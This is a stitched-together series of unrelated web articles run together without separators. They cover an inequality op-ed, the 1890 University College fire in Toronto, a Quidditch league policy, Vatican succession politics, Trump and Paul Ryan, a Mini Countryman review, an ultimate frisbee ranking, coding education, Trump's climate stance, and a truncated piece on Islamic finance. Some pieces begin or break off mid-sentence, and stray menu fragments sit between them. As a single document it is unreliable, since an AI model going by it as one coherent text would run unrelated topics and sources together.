First, it is just wrong to attribute the run away wealth and income at the top to five percent of the work force. Those in the 95th to 99th percentile are roughly getting their share of the growth of the economic pie. It is only the top one percent and primarily the top 0.1 percent who are really pulling away.
And Brooks has seriously misrepresented the causes of their runaway wealth. His "superstar" story depends largely on changing rules in ways that support this concentration of income and wealth. For example, we have had the lengthening and strengthening of copyright laws. Strict enforcement of these government granted monopolies is very important for concentrating wealth in the modern economy because the Internet would otherwise let everyone have copies of everything at no cost.
The same applies to patents. They have transferred vast sums to those at the top while making the rest of us pay much more for drugs and high tech products.
The top one percent have also thrived from a tax code that lets private equity fund managers get incredibly rich by finding clever ways to game it with large amounts of leverage. And we have a failed structure of corporate governance that allows CEOs to effectively pay off corporate directors to ensure their own high pay.
And, Brooks is just mistaken in his complaint that:
"If you have a primitive [the origin of the name-calling in the headline] zero-sum mentality then you assume growing affluence for the rich must somehow be causing the immobility of the poor, but, in reality, the two sets of problems are different, and it does no good to lump them together and call them 'inequality.'"
Fans of arithmetic everywhere know that if the rich get more, and the economy is not growing faster, then everyone else gets less. (It might be primitive, but it's true.) And the economy has been growing very slowly for the last thirteen years and actually pretty slowly for the whole period in which inequality has been increasing.
Finally, Brooks seriously misrepresents the possibilities for moving forward when he tells readers:
"Democrats often see low wages as both a human capital problem and a problem caused by unequal economic power. Republicans are more likely to see them just as a human capital problem. If we’re going to pass bipartisan legislation, we’re going to have to start with the human capital piece, where there is some agreement, not the class conflict piece, where there is none."
Actually, there are many honest conservatives who are opposed to the rent-seeking that allows so many of the one percent to get rich at the expense of the rest of us. Patent and copyright reform are great places to start, as are trade agreements that subject our doctors to the same sort of competition that our autoworkers and steelworkers have enjoyed for decades. And, we can get rid of some of the abuses in the tax code that exist to make the Mitt Romneys of the world rich. That's a great agenda that can draw bipartisan support and make a serious dent in inequality.
University College; Interior, Convocation Hall. [1890?] (Credit: Toronto Reference Library, Baldwin Collection E 3-17a; Rights and Licenses: Public Domain)
University College at the University of Toronto was designed by architects Frederic Cumberland and William Storm. Using Cambridge and Oxford Universities in England as an inspiration, the building was designed in the Romanesque-Revival style. Construction began on October 4, 1856 and the building opened on October 4, 1859, six years after having been established by the University of Toronto Act as a non-sectarian, higher learning institution.
Toronto’s Globe newspaper carried the following article on page 16 of the February 15, 1890 issue entitled “Burning of the University”. The article began as follows: “The public loss by the burning of the University buildings cannot be estimated in terms of money. In some important respects, the misfortune is irreparable. Art, Literature and Science suffer by the destruction of an architectural pile of remarkable beauty, a library containing numerous books and documents that cannot be replaced, and a museum rich in many unique specimens…” (To view the full article online, please log-in at the Globe and Mail Historical Newspaper Archive database with a valid Toronto Public Library card and your PIN number.)
On February 14 and beyond, take a moment to delve back into history on February 14, 1890. The setting is University College on the University of Toronto’s (now downtown) campus. The context was the evening of the annual student ball, in fact, the Literary and Scientific Society’s annual Conversazione Ball. Concerts, literary readings, scientific exhibits and demonstrations were all part of the evening’s program. On display amongst other scientific wonders were some “bacteriological and other microscopic slides” that necessitated the use of kerosene lamps to light the areas of the exhibits. Two college staff were carrying a tray of kerosene lamps up the staircase at the southeast end of the building when, unfortunately, the tray fell and burning kerosene was released and soon set the wooden staircase aflame and further spread to the library in the east end of the building.
Professor Emeritus Martin Friedland, writing in his book, The University of Toronto: a History, noted that the City of Toronto’s fire brigade responded to the fire with its entire fleet of two fire engines. However, other complications hampered the extinguishing of the fire including only one fire hydrant, insufficient water pressure to reach the higher levels of the building, and a sharp, northwest wind that would have it made it difficult to fight the fire even with sufficient water pressure. The wind direction provided a silver lining in that most of the western section of University College was undamaged by the fire. Nonetheless, the fire was under control by 10:00 pm and largely extinguished by 11:00 pm with no loss of life. Sir Daniel Wilson, president of the University of Toronto, a witness to the fire himself on the university’s grounds, succumbed to exhaustion upon assessing the damage and went home with assistance to rest. Edward Blake, then-Chancellor of the University of Toronto, former Premier of Ontario and Liberal Member of Parliament in the House of Commons in Ottawa, was speaking during a debate when he received word of the University of Toronto’s fire, leading him to remark: “The great institution, the crown and glory… of the educational institutions in our country is at this moment in flames…So far as its material fabric goes, a ruin tottering to the ground.”
The main tower and east wing of the building had been eviscerated by the fire. Most of the library’s 30,000-book collection, save a hundred or so books, had been lost including a valuable copy of Audubon’s Birds of America and a 1491 edition of Dante’s Divine Comedy. The on-site museum had been destroyed as well as the administrative offices of the university.
University College: after the fire of 1890, 1890.
(Credit: City of Toronto Archives, Fond 1478 (F.W. Micklethwaite Fonds), Item 37. Copyright is in the public domain)
Toronto’s Globe newspaper carried the following article on page 13 (continued on page 15) of the February 15, 1890 issue entitled “VARSITY IN RUINS: Ontario's Noblest Building Destroyed by Fire RAGGED AND BLACKENED WALLS LEFT Nothing of the Main Portion of the Building Saved THE GRAND OLD LIBRARY UTTERLY GONE…” offered the reader almost two full pages of coverage on the University College fire. The article began with these sombre words: “Toronto suffered last night the cruelest loss in its history. The destruction by fire of its noble University is a terrible blow to the Province…” The article offered painstaking detail on the fire and its aftermath. The article also made reference on page 15 that: “…Mr. J. Brebner, Assistant Librarian, was in the building when the fire started, and did all that was possible to get the fire apparatus at work. It was he who gave the alarm…” (To view this article online, please log-in at the Globe and Mail Historical Newspaper Archive database with a valid Toronto Public Library card and PIN number.)
Donations from university alumni and others, donations from other post-secondary institutions, grants from different levels of government all helped University College, established as a non-denominational component of the University of Toronto in 1853, to re-open rebuilt within two years. Architect DB Dick and engineer Casimir Gzowski had examined the building following the fire and determined that the structure was strong enough that the building could be restored rather than being torn down complete and rebuilt from scratch. Despite the logistical challenges resulting from the fire, University president Wilson and other university officials were determined to resume classes the following Monday by using unaffected lecture halls in University College, and space in other campus buildings as well as at Knox and Wycliffe Colleges.
University College, University of Toronto, 1917. (Credit: City of Toronto Archives, Fonds 1231 (James Salmon Collection), Item 306 – Copyright is in the public domain.)
Consider the following titles for borrowing from Toronto Public Library collections:
Starting in the 2015-2016 season, USQ member teams that participate in approved “international friendlies” will be able to count up to two games toward their minimum number of games required to attend the US Quidditch Cup.
This policy aims to promote and increase international play between North American teams. International competition fits into USQ’s strategic priority to grow the sport by expanding competitive opportunities, and contributes to the development of future leaders by encouraging cross-cultural experiences.
“In the season following the transition of the International Quidditch Association to US Quidditch, cross-border play between Canada and the United States was greatly reduced,” Alicia Radford, USQ’s Acting Executive Director, said. “We developed this international play policy jointly with Quidditch Canada and Quidditch México hoping to foster more cross-border play and collaboration in a way that makes sense for the competitive integrity of each league.”
An “international friendly” is a match held on US, Canadian, or Mexican soil between official member teams of more than one of those national governing bodies. In order for the game to count for USQ’s incentives, the game must follow several requirements:
The event or tournament must be listed on the USQ events calendar.
The games must abide by the following USQ policies:
Played under rulebook 9.
A non-playing certified EMT or athletic trainer must be on site at all times.
A certified head referee (subject to the host governing body’s requirements) must adjudicate the game.
A certified tournament director (subject to the host governing body’s requirements) must be present.
The game must be against an official team with the other national governing body.
The game must be submitted to this form on the USQ website within 7 days of occurring.
“Playing against American teams has always been a fun and competitive experience for Canadian quidditch players,” Tegan Bridge, Executive Director of Quidditch Canada, said. “Quidditch Canada is excited to offer teams this opportunity and help both countries build stronger relationships and grow the sport.”
“This joint effort comes right at the time when SoCal teams and Qwertyrians Tijuana are getting ready for games in San Diego. Any Mexican players who are able to participate in gameplay with USQ or QC teams gain so much experience; the Mexican teams located close to the border of the US will be able to take the international friendlies experience and bring what they've learned to the rest of the teams in Mexico. The Mexican Quidditch Association is proud to encourage and participate in international gameplay and for the development of quidditch, “ Alberto Santillan, president of Asociación Mexicana de Quidditch, said.
Biology and behavior
Life cycle
Damage
Legal status Management
About Pest Notes
Publication
In 2009, as Cardinal Godfried Danneels was completing 30 years as archbishop of Brussels, he and the apostolic nuncio in Belgium at the time, Archbishop Karl-Josef Rauber, agreed that the successor should be Danneels’s protégé, Bishop De Kesel, auxiliary of Brussels since 2002.
Pope Benedict XVI did not agree that another in the line of Danneels was needed, perhaps remembering that at the 1985 extraordinary synod of bishops on the legacy of Vatican II, it was an exasperated Danneels who protested that far too much attention was being given to The Ratzinger Report, the book-length interview with Vittorio Messori. Benedict chose instead André-Joseph Léonard, then almost 20 years Bishop of Namur, to succeed Danneels in January 2010. Neither Danneels nor the nuncio were pleased.
Indeed, just months after Léonard’s transfer to Brussels, the now retired nuncio, Archbishop Rauber, gave an incendiary interview to Il Regno. In a most unusual breach of diplomatic manners, Rauber strongly opposed Benedict for the succession in Brussels, criticising Léonard as a bad choice, made over his own and Cardinal Danneels’s objections. Rauber further attacked Benedict, revealing that while he was nuncio in Switzerland, Ratzinger had four times complained about him to the Secretariat of State.
In due course, Léonard would have been created a cardinal after Danneels turned 80 in 2013. But by that time Benedict was no longer pope, and Francis took a different course. In the consistories of 2014 and 2015, he passed over Léonard for the red hat. Both years he appointed Danneels to the synods on the family – leaving Léonard out, despite him being the most senior bishop in Belgium – indicating clearly that he disapproved of Benedict’s decision in Brussels.
Moreover, in the consistory of 2015, Francis elevated Karl-Josef Rauber to the College of Cardinals as one of the distinguished prelates over 80. In ecclesiastical Rome, the public humiliation of Léonard – and by implication, Benedict – could not have been less subtle. The decision, later in 2015, to appoint De Kesel, the one that Rauber wanted back in 2009, to succeed Léonard simply followed the rewarding of a nuncio who publicly attacked a sitting pope. In his own retirement, Léonard gave a recent interview to Famille Chrétienne in which he defended his more orthodox tenure – including a remarkable tenfold increase in seminarians – but declined to speak of Francis in the way that Rauber spoke of Benedict.
The evidence therefore that, despite their warm public greetings, Francis wishes to undermine what Benedict did, is rather stronger than Damian Thompson suggests.
There is another tale to be told though, one of continuity rather than rupture. Ten years ago this month, Benedict’s first encyclical was released, Deus Caritas Est, in which he wrote: “The Church’s deepest nature is expressed in her three-fold responsibility: for proclaiming the word of God (kerygma-martyria), celebrating the sacraments (leitourgia) and exercising the ministry of charity (diakonia). These duties presuppose each other and are inseparable. For the Church, charity is not a kind of welfare activity that could equally well be left to others, but is a part of her nature, an indispensable expression of her very being.”
The direct continuity here is easy to see. If St John Paul was the great proclaimer, and Benedict the great liturgist, Francis exercises the charitable service of the Church without peer. Indeed, Benedict’s harsh words for the bureaucratic Church have been taken up afresh by Francis.
The latter’s warnings about the Church not becoming a mere NGO echo exactly what the former taught.
Indeed, one of the great battles of Benedict’s pontificate was over the Catholic identity of the Church’s international charitable agencies. Cardinal Robert Sarah, then president of Cor Unum, wanted a more robust Catholic identity, with closer ties to both the local bishops and to the Congregation for the Doctrine of the Faith in Rome. Cardinal Óscar Rodríguez Maradiaga, then president of Caritas Internationalis, fought him every step of the way. Sarah won a remarkable victory. Though he then occupied a rather marginal Vatican post, he routed Rodríguez with Benedict’s support.
It was Francis who then promoted Cardinal Sarah to be head of the Vatican liturgy and worship office, from where he led the effort against attempts to get the synod to modify the teachings about Holy Communion and marriage.
Of the two tales, the rise of Cardinal Sarah is more consequential than that of Danneels, De Kesel and Rauber, all of whom are utterly marginal regarding the new evangelisation in northern Europe.
So is Francis against Benedict? It is plausible to argue just that, but much evidence points the other way.
Fr Raymond J de Souza is a priest of the Archdiocese of Kingston, Ontario, and editor-in-chief of Convivium magazine
"just in case", and as expected, Bloomberg confirms that behind the scenes Trump is planning to blame Ryan in case of an embarrassing defeat this afternoon.
As reported last night, Trump’s senior strategist took the unusual step of traveling to Capitol Hill to deliver an ultimatum: take the vote on Friday, win or lose. Ryan had been carefully trying to build a majority for the bill, and it would be highly unusual for him to call the vote without knowing if it would pass.
"Ryan had little choice but go along with the administration’s gambit."
And while Trump said Friday at the White House that Ryan shouldn’t lose his job if the bill goes down, when asked whether Trump, Ryan, or the Freedom Caucus chairman, North Carolina Republican Mark Meadows, would be most to blame if the bill fails, the administration official said Ryan.
Trump’s core supporters regarded Ryan as at best unimportant during the presidential campaign and at worst a poster child for the sort of establishment, scripted politician they loathed.
Considering the planning that has gone into this scapegoating campaign, one almost wonders if it is not Trump's intention all along to lose the vote, in the process eliminating Ryan with whom he butted heads repeatedly before the election. As Bloomberg adds, "several Trump associates have already laid groundwork to blame the speaker."
“I think Paul Ryan did a major disservice to President Trump, I think the president was extremely courageous in taking on health care and trusted others to come through with a program he could sign off on,” Chris Ruddy, CEO of Newsmax and a long-time friend of Trump’s, said in an interview last week. “The President had confidence Paul Ryan would come up with a good plan and to me, it is disappointing.”
And just in case Ryan is an insufficient sacrifice, a second fall guy appears to be Bannon's nemesis at the White House, Reince Priebus:
A Trump associate who requested anonymity to discuss the president’s views on the matter said that White House chief of staff Reince Priebus may also be imperiled.
Even if the vote - or Ryan - survives this afternoon's vote, Bloomberg ends off with a relevant observation:
Still, Trump, Vice President Mike Pence and top White House aides had been working closely with Ryan on a health bill since the election and were heavily involved in negotiations to reach a deal, according to a senior Republican aide. That leaves questions about whether they’ll be able to cooperate to pull the party together on other tough issues, crucially a tax overhaul that Trump has said is a personal priority.
So is today's vote, which Trump is shoving down the throats of conservative holdouts, many of whom have warned they will not change their vote, just a complex charade to discredit the House speaker and rellieve him of his job? Find out some time around market close today.
Over the past few years, Mini models have been getting bigger, to point where most aren't particularly "mini" anymore.
That might seem to go against what the brand is supposed to be about, but parent company BMW is embracing it.
The German automaker touts the 2017 Mini Countryman—the second-generation crossover from its British ward—as the "biggest Mini yet."
DON'T MISS: Plug-in hybrid next-generation Mini Countryman teased before launch
Debuting next month at the 2016 Los Angeles Auto Show, the redesigned Countryman will also be the first Mini model to be offered with a plug-in hybrid powertrain.
Behind an evolutionary version of Mini's well-known design language, the 2017 Countryman is indeed larger than before.
Mini claims a 30-percent increase in cargo capacity, as well as increases in front and rear headroom, front and rear legroom, and rear shoulder room.
2017 Mini Countryman
The second-generation Countryman rides on the same UKL platform used by the current Mini Hardtop, Convertible, and Clubman wagon, as well as the BMW X1 crossover.
The plug-in hybrid model—known as the Mini Cooper Countryman S E ALL4—uses a "through the road" all-wheel drive system, with a gasoline engine powering the front wheels, and an electric motor powering the rear wheels.
Its gasoline engine is a 1.5-liter turbocharged 3-cylinder unit, which is mated to a 6-speed automatic transmission.
ALSO SEE: How big is a new Mini? Big enough to fit the old one inside
Total system output is 221 horsepower and 284 pound-feet of torque, getting the Countryman plug-in hybrid from 0 to 60 mph in 6.8 seconds, and on to a top speed of 137 mph, according to Mini.
A 7.6-kilowatt-hour lithium-ion battery pack mounted under the rear seats provides an estimated electric-only range of 24 miles, at speeds up to 77 mph.
Note that the range estimate is likely based on the more lenient European testing cycle; a U.S. EPA rating will likely be 20 to 30 percent lower.
2017 Mini Countryman
Charging from a 240-volt Level 2 AC source takes three hours, according to Mini.
Because the Countryman requires both gasoline and electric power for all-wheel drive, the powertrain is linked to the vehicle's stability-control system.
If the system detects excessive slip, both power sources are engaged regardless of the situation.
MORE: New 2017 Jeep Compass unveiled, replaces old Compass and Patriot too
In addition to the plug-in hybrid option, the base Countryman Cooper will be offered with the 1.5-liter turbocharged 3-cylinder engine, but without the electric motor.
The standalone gasoline engine produces 134 hp and 162 lb-ft of torque, and is available with 6-speed manual or automatic transmissions.
A Cooper S model gets a 2.0-liter turbocharged 4-cylinder engine, with 189 hp, 207 lb-ft, and 6-speed manual or 8-speed automatic transmission options.
2017 Mini Countryman
Both the Cooper and Cooper S come standard with front-wheel drive, and all-wheel drive is optional.
The 2017 Mini Countryman goes on sale in the U.S. in March 2017.
Only the Cooper and Cooper S models will be available at that time, though, with the Cooper S E ALL4 plug-in hybrid following in June.
For more updates new-car reveals, head over to our Los Angeles Auto Show news page.
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Which pair of players constitute the best back field in ultimate?
Multiple analysts contributed to this article; the lead writer chose to remain anonymous.
I know the 2014 Club Championship is going to start in a few days, but do you know what else is going to start soon? NBA basketball.
So in between sitting in the film room and trying to figure out if Jimmy Mickle can throw better hucks with his hair shaggy or close-cropped, I listen to podcasts about the NBA. That is how I came across a segment by Jalen Rose going over the top 10 backcourts in the NBA.
I naturally began thinking which team has the best back field in ultimate. I have certain strengths and weakness in coming up with this decision, so just like Jalen taught me, I’m going to lay out where I am coming from.
First, with one exception, I have not watched a single team attending Nationals this year play live. I have been able to watch a decent amount of film (every game involving a Nationals participant from this year). This naturally skews my opinion. I haven’t been able to watch film on every Nationals team (I’m missing Prairie Fire) and even then I am only watching a select few games.
Second, this is purely an opinion piece. Everyone in the comments that points out how wrong I am about player X and wonder how I could overlook person Y is probably right, but I can only operate on what I know.
Third, my distinction on a quality backfield is by no means universal. Different systems stress different things and my criteria might not reflect that.
With those caveats in place, here are the things I was looking for out of a backcourt:
– Duos: I know some teams like to run three handlers, but in reality there are often only two people running the rock (and at times only one).
– Range of throws: Everyone has big throws in the Men’s division, but being able to accurately hit any part of the field at any time stretches the defense the way that a long-range 2-guard stretches the basketball court and makes it easier on everyone else.
– Vision: Again, everyone at this level has good vision, but some people have a knack for finding the poached player at the right time and making it really hurt the defense.
– Aggressiveness: We all know that the San Antonia Spurs can run pick and rolls to kill you, but Manu Ginobili has to come into the game at some point in order to penetrate the defense. Similarly, while an ultimate backfield can reset-reverse you to death, we are going to reward those players who effectively penetrate the defense.
– Possession: Antithetical to the previous point, a handling core has to be able to maintain possession at the right time. It is a fine balance.
We could consider every team, but here are the duos that I really looked at:
San Francisco Revolver: Ashlin Joye and Robbie Cahill
Chicago Machine: Bob Liu and Tom Annen
Seattle Sockeye: Danny Karlinsky and Aly Lenon
Boston Ironside: Brandon Malecek and Jake Taylor
Denver Johnny Bravo: Bart Watson and Brett Matzuka
Austin Doublewide: Jeff Loskorn and Trey LesMastres
Atlanta Chain Lightning: Jared Inselmann and Mark Poole
Toronto GOAT: Derek Alexander and Thomson McKnight
Washington DC Truck Stop: Markham Shofner and Alan Kolick
There are good rationale for all of these pairs, but, right now, I think the best backfield in the game belongs to Machine. For my money, Liu and Annen are hitting the right mixture of the criteria listed above. They have been excellent at possessing the disc for key stretches, giving their strong and tall downfield cutting corps time to get open against even the best defenders. They both are also willing to throw daggers at all times. Perhaps most importantly, their offense allows that in a way that other offenses don’t.
Revolver doesn’t ask Cahill or Joye to throw cross-field blades to open receivers. That isn’t a knock on Revolver; that is a compliment. Their offense is predicated on generating great one-on-one match-ups for their downfield cutters, which doesn’t necessitate much creativity from their handlers.
At the beginning of the season I would have put money on Bravo for having the best handler set. It certainly looks excellent on paper. Watson and Matzuka are a fantasy dream based on prior works. Here’s the thing, Matzuka ends up being too passive at times and Watson gets overly aggressive. Watson has the ability to throw people open, but sometimes a person with great on-disc skills decides to do too much and that leads to turnovers. Matzuka feels marginalized by the offense. He basically is running a seldom-used reset whose job is to get the disc back in Bart’s hand. To his credit, he is still using the Matzuka Special — a deep cut from the handler spot — to devastating effect on anyone who falls asleep guarding him.
Sockeye’s Karlinsky and Lenon suffer a similar fate. Remember, I only get to watch film, so it looks like Karlinsky is the truth…but Lenon has been less spectacular. With Watson’s miscues I feel like Karlinsky is the best single, aggressive handler out there right now, but he isn’t as possession oriented.
And that is why I keep coming back to Annen and Liu. On tape, Machine is able to grind resets incredibly well, giving their downfield stars time to get open. But every now and again Bob Liu decides to throw a bomb huck, or a Stubbs’ Special (pop-scoober to the break space) and it seems to be working.
So right now, going into Nationals, they are the handler crew that I want to watch. Could others have a better weekend? Sure. Do I think Machine is going to win Nationals? You’ll have to listen’ to Charlie’s predictions podcast. But right now I think Liu and Annen are doing all the things that a handler core needs to do to put their team in the right position to win.
Here are the Top 5 Backfields in Club Men’s ultimate:
5. Toronto GOAT: Derek Alexander is superbly creative and able to move the disc to nearly any spot on the field. Rarely turns it over. Thomson McKnight is not nearly as talented, but serves as a release valve and is also a rock with the disc, making him a strong possession oriented handler.
4. Seattle Sockeye: As noted above, Danny Karlinsky is one of the hottest players in the game right now. He lit up the fields in Lecco and was, for many, a surprise pick as Ultiworld All-Club 1st Team last year for his incredible performance at Nationals. Much like is the case for GOAT, his partner-in-crime, Aly Lenon, isn’t at the same level and serves more as a supporting role.
3. Denver Johnny Bravo: It will be interesting to see which battery takes the field in Frisco. Brett Matzuka has been a strong point when he’s been given the green light for more activity, but Bart Watson needs to dial it in. Still, the team is packed with throwing talent, including Brodie Smith, who was a major handler at Regionals.
2. San Francisco Revolver: Robbie Cahill hasn’t lost a step since coming back to the Men’s Division after a year playing Mixed. He doesn’t turn the disc over and can place the disc anywhere in a close range. Ashlin Joye has been one of the division’s elite playmakers for years, and had a case as the MVP at last year’s Nationals. Their ranking below Machine reflects more a style choice than a skill gap.
Just like it's easier to learn a foreign language if you start in grade school, getting an early grasp on mark-up and programming languages such as HTML, CSS and Java ensures you'll have an idea of what makes our digital lives and devices tick, even if you don't plan on becoming a software developer.
See also: The 15 Best Features of iOS 8
Zach Sims, co-founder and CEO of Codecademy, tells Mashable that learning how to code is reasonably easy for beginners, especially people under 18.
This year, Codecademy set up initiatives in England, Estonia and Argentina to bring coding education to young students — England and Estonia both added coding to their national curricula. As a result, Sims and the team found that "people in high schools can start with actual programming, and more advanced students in middle school can do the same,” he says.
The key, though, is making the learning process interactive. A favorite catchphrase of those who advocate coding education is "learn by doing," and Sims repeats the sentiment. In the past few years, this has led to a surge in educational tools that favor project-driven learning over lectures. The good news is, there aren't any prerequisites.
Start off easy with these five online resources, for kids and adults alike, to help on your way to becoming well-versed in code.
"It's never too early to start with something like a Scratch," Sims says.
Scratch is an MIT project that builds a graphical processing language ("Scratch") out of which you can make animated characters on a screen move. While Scratch isn't something you could use to build a website, it does teach algorithmic thinking as well as the the concepts of a computer language, and it can smooth the transition to using HTML and CSS.
Code.org's mission is to expand the number of students, especially women and people of color, with access to the learning tools for coding languages. The exercises available on its website are formatted like games with drag-and-drop tiles, but users can view the code they're building during the challenge and when it's completed.
You can even make Elsa from Frozen walk 100 pixels, make a right turn by 90 degrees and walk another 100 pixels, just by typing "moveForward(100); turnRight(90); moveForward(100);" in Javascript.
As soon as users sign up with Codecademy, they can start learning how to design their own websites with HTML and CSS, and animate their own names with Javascript.
Sims says that Codecademy helps students by allowing them to "write a line of code, and you see what happens immediately," instead of passively watching an instructor. Students also benefit from being asked to build recognizable websites, such as Etsy, with Ruby on Rails.
CS50, Harvard University's intro computer science course, enrolls more than 800 in-class students and thousands of online auditors. The syllabus includes general concepts as well as languages, and there are videos and problem sets online that allow students from all over the world to follow along.
While it's not as hands-on as Codecademy, people looking for a more traditional computer science education should check it out.
While Team Treehouse isn't free — it costs $25 for a basic plan and $49 for a pro plan (which gives you access to exclusive workshops and interviews) — it's arguably the most in-depth learning tool for coding and covers a wide variety of topics.
Treehouse also has special tracks, such as web design and iOS development, for users who have specific endpoints in mind for their coding education.
President Trump listens to Environmental Protection Agency Administrator Scott Pruitt after announcing his decision that the United States will withdraw from the Paris climate accord. (Kevin Lamarque/Reuters)
It wasn’t a big concern during the 2016 campaign — presidential debate moderators didn’t even bring it up. But now, whether or not President Trump accepts it, climate change has become a matter of intense focus, because of the U.S. withdrawal from the Paris climate agreement.
Based on what we’ve seen so far, there’s little indication that Trump accepts the main tenet of climate change science — that humans are the core driver of the warming of the planet — and good reason to think this probably mattered in his decision on Paris.
Indeed, Monday morning Politico’s Playbook even gave reason to think that Trump may remain a skeptic, reporting on what had been “overheard at Trump National”:
Trump discussing his decision to pull out of the Paris climate agreement over lunch after playing a round of golf Sunday. Trump’s post-Paris analysis: they can’t even get the weather report right, so how come they think they can get that right?
(Actually, weather reports are pretty accurate these days.)
Whatever Trump thinks, his administration has rarely denied the science of climate change outright. Rather, it has tried to finesse the matter by arguing that there’s some human role in climate change, but not saying how much. Or as Nikki Haley, U.S. ambassador to the United Nations, put it on CNN recently: “President Trump believes the climate is changing, and he believes pollutants are part of that equation.”
But Haley’s statement — which suggested that the human contribution to climate change could be a mere 10 percent, and is similar to Trump’s own admission last year that there is “some connectivity” between humans and climate change — is not the scientific consensus view. “It is extremely likely that human influence has been the dominant cause of the observed warming since the mid-20th century” is what the U.N. Intergovernmental Panel on Climate Change concluded.
During a White House press briefing Friday, Scott Pruitt, head of the Environmental Protection Agency, was asked multiple times whether Trump believes in climate change. Pruitt demurred, suggesting it didn’t come up in White House discussions about the Paris agreement — but he also described his own views, saying that humans contribute to climate change “in some manner.” On Sunday, he added on ABC’s “This Week” that “the president has indicated the climate changes.”
All of this, too, is weaker than the expert consensus that humans are the overwhelming driver of the problem. Pruitt’s EPA has taken down an informational website on climate change that affirmed that consensus.
Beyond such statements — and the recent Politico report — there has been little clarification of Trump’s views. But given the evidence, and that he was prone to calling climate change a “hoax” on Twitter before his election, it’s doubtful he now embraces the idea that it is mainly caused by humans.
And this matters to his decision on Paris. Simply put, if you’re not sure humans are the main force behind climate change, then the urgency of cutting greenhouse gas emissions would naturally seem far less compelling.
Consider what the president did not say when he addressed the nation on this subject.
Pruitt argued Friday that Trump decided to exit the Paris climate deal for economic reasons, so the science of climate change was not really at issue. “The focus remained on whether Paris put us at a disadvantage. And, in fact, it did. It put us at an economic disadvantage,” Pruitt said, in response to one of the many questions that he received about the reality of climate change.
Yet experts have demonstrated that climate change has its own economic costs, because it causes many types of damage to the world and to the United States. If you believe it is real and driven by humans, you would tend to weigh those costs significantly and include them in your decision-making process.
Trump and Pruitt don’t seem to do that. Take, for instance, the main study that Trump cited in the Rose Garden, conducted by NERA Economic Consulting for the U.S. Chamber of Commerce and the American Council for Capital Formation, a business-friendly group, to show the burdensome costs of complying with the Obama climate pledge under the Paris agreement. That study explicitly states that it does not weigh the damages caused by climate change.
“It does not take into account potential benefits from avoided emissions,” the study notes in a footnote — benefits that naturally would include reduced climate-related damage. “The study results are not a benefit-cost analysis of climate change.”
Yet it is hard to dispute that there are economic costs to worsening climate change. For instance, the EPA found that in the year 2100 alone, the United States could save $3.1 billion in coastal damage and adaptation expenditures, $4.2 to $7.4 billion in costs for adapting roads and highways, and $100 billion in lost labor productivity, if the world takes action on global warming. And those are just savings in a single year — they would be much larger if considered over many years.
But there is little evidence that the costs of human-driven climate change factored into Trump’s decision.
At the same time, we know a great deal about the deliberations at the White House over the Paris agreement. We know that Trump heard from business leaders who favored staying in the agreement. We know that he heard from European leaders — and that their entreaties apparently backfired.
But we haven’t heard that he consulted scientists about what is happening with the climate — and indeed, Trump has not appointed a presidential science adviser who might have been able to unpack this for him. That’s another indication climate change science does not seem to have factored into his decision.
Finally, as experts will tell you, the science of climate change implies urgency. There is very little time left for the world to reduce its emissions, if we want to avoid warming the planet by an amount that scientists would consider dangerous.
This urgency was a key factor in bringing countries together in Paris, where they agreed to an accord that ideally aims to limit warming to 1.5 degrees Celsius (2.7 degrees Fahrenheit) above pre-industrial levels — an extremely stringent target that reflects a growing scientific realization that severe impacts from climate change are already occurring.
Trump did not signal any sense of urgency about climate change in his Rose Garden speech. He said instead that he would try to renegotiate the Paris agreement to get the United States a better deal, a process that could take a long time, if it ever did happen (and there’s no indication it would).
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Ideas Opinion/Ideas The zero percent solution A renaissance for 'Islamic finance' -- a version of capitalism that avoids interest -- offers innovative financial tools to Muslim and non-Muslim alike
(ADEK Berry/AFP/Getty Images) LAST MONTH, two economists published a working paper suggesting an unusual way to diversify one's investment portfolio: buy something called sukuk, or bonds that conform to the demands of Islam. The Koran, most Islamic scholars agree, forbids the charging of interest, so traditional bonds are off-limits to devout Muslims. But sukuk generate a steady income from actual, tangible assets, like a rented piece of land. Sukuk are also, it turns out, more stable than traditional sovereign bonds. While the sample size was small, the study by Selim Cakir, of the International Monetary Fund, and Faezeh Raei, a graduate student at the University of Texas, suggested that a portfolio that mixed sukuk with traditional bonds would do a better job than an all-bond portfolio of hedging against unpredictable seesaws in the financial markets. One of the fastest growing areas of finance today is based on the 1,400-year-old strictures of shariah, or Islamic law. Sukuk are part of the field of "Islamic finance," which - while it emerged in its modern incarnation in the late 1970s - has in recent years been attracting money at a precipitously quick clip. Sukuk issuance in 2007 is on pace to at least double last year's total. And while exact figures are impossible to come by, industry analysts estimate that as much as $500 billion is now invested worldwide under Islamic guidelines. Most of the world's leading banks and investment companies, including Chase Manhattan, Goldman Sachs , Deutsche Bank , and HSBC have started offering financial tools and services that meet the Koran's requirements. Now the industry is broadening its reach, from oil-rich Middle Eastern royalty to the middle class, raising the prospect that the impact of Islamic finance could be felt well outside the Muslim faith. More than 60 percent of the money in the investment firm Saturna Capital's shariah-compliant mutual funds comes from non-Muslims, attracted by the funds' industry-leading returns. Last year a Texas-based oil and gas company raised $165.67 million by issuing sukuk, many of which were snatched up by American hedge funds. And regional banks in parts of the United States with large Muslim populations have started offering a growing range of innovative financial products - Islamic home and business financing instruments, Islamic savings accounts - that they believe could attract non-Muslim investors as well. "Islamic finance is just finance - it's conservative, people-oriented finance," says Shaykh Yusuf Talal DeLorenzo, a Virginia-based shariah scholar who consults for many of the banks and firms that have set up Islamic financial instruments. At a time of volatile markets, he says, "I think a lot of people are going to start taking a look at what we're doing." In the United States, the growth of Islamic finance fits into a larger trend of so-called "ethical investing," where funds and financial instruments are tailored to accord with ethical principles, whether it's the tenets of the Catholic church or those of the environmental movement. Shariah-compliant mutual funds and asset management companies don't invest in companies that make money from anything Islam considers haram, or forbidden: alcohol, tobacco, gambling, pornography, pork, or interest. What sets Islamic investing apart, though, is the degree to which its prohibition on interest requires that its adherents rethink the way they make their money. And the ideals that are enforced by Islamic financial contracts - that there should be sharp limits on someone's ability to profit from someone else's indebtedness, that risk and reward be shared equally between the two parties - could, Islamic bankers believe, make a powerful sales pitch to prospective borrowers, no matter what their faith. "Our strategy is to first go after the very devout, because there's so much pent-up demand there," says Hussam Qutub, a spokesman for the Virginia-based Islamic investment firm Guidance Financial Group. "But there is a larger demand out there, and I think we will find ourselves spilling into the non-Muslim market." The prophet Mohammed, himself a merchant, saw nothing inappropriate about turning a profit - unlike, for example, early Christian church authorities, who took a dim view of moneymaking. Mohammed taught that it was interest and speculation that were sinful, because they divorced money from tangible goods and allowed people to make money merely by having money. Partly as a result, Muslims were for centuries more advanced than Christians in the development of trade law. Merchants in Europe often turned to Islamic law to make financial agreements - the partnership contract that 